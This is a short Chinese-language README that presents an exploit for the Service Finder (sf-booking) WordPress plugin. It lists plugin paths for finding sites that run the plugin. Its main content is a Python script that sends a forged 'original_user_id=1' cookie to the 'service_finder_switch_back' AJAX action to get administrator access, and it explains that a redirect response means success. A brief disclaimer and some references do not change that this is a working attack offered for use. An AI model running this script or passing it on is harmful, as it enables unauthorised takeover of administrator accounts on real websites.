🔍 WordPress 插件漏洞利用 — Service Finder (sf-booking)

概述

Service Finder 插件是 WordPress 的预订和服务管理系统。
由于其受欢迎程度和复杂性，某些版本存在与未认证的 AJAX 端点或不当访问控制相关的安全问题。

本 README 旨在说明研究人员如何安全地对安装进行指纹识别，并遵循道德规范（dbr krk）。

易受攻击的 WP 搜索语法

/wp-content/plugins/service-finder/

/wp-content/plugins/service-finder-bookings/

/wp-content/plugins/sf-booking/

漏洞利用流程

⚠️ 免责声明：
这些搜索仅用于教育和研究目的。请不要尝试未经授权的访问或利用。

import requests

url = "https://example.com/wp-admin/admin-ajax.php?action=service_finder_switch_back"
cookies = {
    'original_user_id': '1',
}

r = requests.get(url, cookies=cookies)
print(r.status_code)
print(r.text)

• 300-399：✅ 存在漏洞！以管理员身份重定向到管理面板
• 400-499：⚠️ 客户端错误 — 请求无效或未经授权，不存在漏洞

参考资料

• WPScan 插件数据库 — https://wpscan.com/plugins/
• 国家漏洞数据库（NVD）— https://nvd.nist.gov/
• OWASP — Google 搜索语法 / 侦察技术
• HackerOne 披露指南 — https://www.hackerone.com/disclosure-guidelines

作者

Taha Mounir